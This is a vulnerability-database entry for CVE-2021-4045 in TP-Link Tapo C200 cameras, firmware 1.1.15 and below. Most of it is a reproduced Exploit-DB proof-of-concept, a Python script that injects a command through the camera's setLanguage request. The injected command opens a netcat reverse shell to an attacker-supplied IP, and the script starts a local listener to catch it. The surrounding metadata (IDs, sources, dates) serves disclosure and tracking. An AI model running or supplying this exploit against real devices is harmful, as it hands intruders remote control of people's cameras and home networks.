ID
VAR-E-202209-0076
CVE
| cve_id: | CVE-2021-4045 | Trust: 1.5 |
EDB ID
51017
TITLE
TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE) - Hardware webapps Exploit
Trust: 1.0
DESCRIPTION
TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE). CVE-2021-4045 . webapps exploit for Hardware platform
Trust: 1.0
AFFECTED PRODUCTS
| vendor: | tp link | model: | tapo c200 | scope: | eq | version: | 1.1.15 | Trust: 1.5 |
EXPLOIT
# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
# Date: 02/11/2022
# Exploit Author: hacefresko
# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/
# Version: 1.1.15 and below
# Tested on: 1.1.11, 1.1.14 and 1.1.15
# CVE : CVE-2021-4045
# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce
import requests, urllib3, sys, threading, os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)
if len(sys.argv) < 3:
print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")
exit()
victim = sys.argv[1]
attacker = sys.argv[2]
print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
t.start()
print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
requests.post(url, json=json, verify=False)
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 1.0
PRICE
free
Trust: 1.0
TYPE
Remote Code Execution (RCE)
Trust: 1.0
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | remote | Trust: 0.5 |
| tag: | code execution | Trust: 0.5 |
CREDITS
hacefresko
Trust: 1.0
EXTERNAL IDS
| db: | NVD | id: | CVE-2021-4045 | Trust: 1.5 |
| db: | EXPLOIT-DB | id: | 51017 | Trust: 1.0 |
| db: | PACKETSTORM | id: | 168472 | Trust: 0.5 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2021-4045 | Trust: 1.5 |
SOURCES
| db: | PACKETSTORM | id: | 168472 |
| db: | EXPLOIT-DB | id: | 51017 |
LAST UPDATE DATE
2022-11-21T17:43:15.877000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 168472 | date: | 2022-09-23T14:03:25 |
| db: | EXPLOIT-DB | id: | 51017 | date: | 2022-09-23T00:00:00 |